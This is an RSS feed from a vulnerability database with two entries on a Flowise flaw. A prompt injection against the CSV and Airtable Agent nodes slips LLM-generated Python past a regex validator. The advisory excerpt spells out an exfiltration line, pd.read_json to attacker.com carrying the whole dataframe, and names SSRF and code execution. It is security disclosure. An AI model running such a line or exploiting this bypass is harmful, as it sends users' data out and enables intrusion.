<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 17 Oct 2026 06:26:18 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-73487</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-73487</link>
      <description>&lt;p&gt;Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-73487</guid>
    </item>
    <item>
      <title>GHSA-w7x8-q2gp-5cgg — Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass</title>
      <link>https://db.gcve.eu/vuln/ghsa-w7x8-q2gp-5cgg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flowise, npm: flowise-components&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;Flowise &amp;lt;= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.&lt;/p&gt;
&lt;p&gt;The most impactful bypass is trivial: `pd.read_json(&amp;#34;http://attacker.com/?d=&amp;#34; + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.&lt;/p&gt;
&lt;p&gt;## Severity&lt;/p&gt;
&lt;p&gt;**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N&lt;/p&gt;
&lt;p&gt;## Affected Versions&lt;/p&gt;
&lt;p&gt;- Flowise &amp;lt;= 3.1.2 (latest at time of disclosure)
- Any deployment with a CSV Agent or Airtable Agent chatflow&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;### Root Cause&lt;/p&gt;
&lt;p&gt;The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:&lt;/p&gt;
&lt;p&gt;1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.&lt;/p&gt;
&lt;p&gt;2. **The `\bimport\b` regex does not match `impor…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flowise, npm: flowise-components&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;Flowise &amp;lt;= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.&lt;/p&gt;
&lt;p&gt;The most impactful bypass is trivial: `pd.read_json(&amp;#34;http://attacker.com/?d=&amp;#34; + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.&lt;/p&gt;
&lt;p&gt;## Severity&lt;/p&gt;
&lt;p&gt;**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N&lt;/p&gt;
&lt;p&gt;## Affected Versions&lt;/p&gt;
&lt;p&gt;- Flowise &amp;lt;= 3.1.2 (latest at time of disclosure)
- Any deployment with a CSV Agent or Airtable Agent chatflow&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;### Root Cause&lt;/p&gt;
&lt;p&gt;The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:&lt;/p&gt;
&lt;p&gt;1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.&lt;/p&gt;
&lt;p&gt;2. **The `\bimport\b` regex does not match `impor…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-w7x8-q2gp-5cgg</guid>
    </item>
  </channel>
</rss>
